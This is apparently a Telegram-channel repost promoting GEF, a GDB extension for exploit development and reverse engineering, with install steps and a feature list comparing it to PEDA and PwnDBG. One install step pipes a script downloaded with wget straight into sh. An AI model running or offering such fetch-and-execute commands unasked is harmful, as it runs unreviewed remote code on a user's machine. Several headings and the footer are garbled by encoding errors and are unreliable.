>GEF (pronounced Κ€Ιf - "Jeff") is a set of commands for x86/64, ARM, MIPS, PowerPC and SPARC to assist exploit developers and reverse-engineers when using old school GDB. It provides additional features to GDB using the Python API to assist during the process of dynamic analysis and exploit development. Application developers will also benefit from it, as GEF lifts a great part of regular GDB obscurity, avoiding repeating traditional commands, or bringing out the relevant information from the debugging runtime.
> t.me/UndercOdeTesting
π¦πβπππΈπππππΈπππβ & βπβ:
# via the install script
1) wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh
# manually
2) wget -O ~/.gdbinit-gef.py -q https://github.com/hugsy/gef/raw/master/gef.py
3) echo source ~/.gdbinit-gef.py >> ~/.gdbinit
Then just start playing:
4) gdb -q /path/to/my/bin
gefβ€ gef help
π¦Features :
A few of GEF features include:
> One single GDB script.
> Entirely OS Agnostic, NO dependencies: GEF is battery-included and is installable in 2 seconds (unlike PwnDBG).
> Fast limiting the number of dependencies and optimizing code to make the commands as fast as possible (unlike PwnDBG).
>Provides a great variety of commands to drastically change your experience in GDB.
>Easily extendable to create other commands by providing more comprehensible layout to GDB Python API.
>Works consistently on both Python2 and Python3.
>Built around an architecture abstraction layer, so all commands work in a ny GDB-supported architecture such as x86-32/64, ARMv5/6/7,
> AARCH64, SPARC, MIPS, PowerPC, etc. (unlike PEDA)
> Suited for real-life apps debugging, exploit development, just as much as CTF (unlike PEDA or PwnDBG
@UndercOdeOfficial
β β β ο½ππ»βΊπ«Δπ¬πβ β β β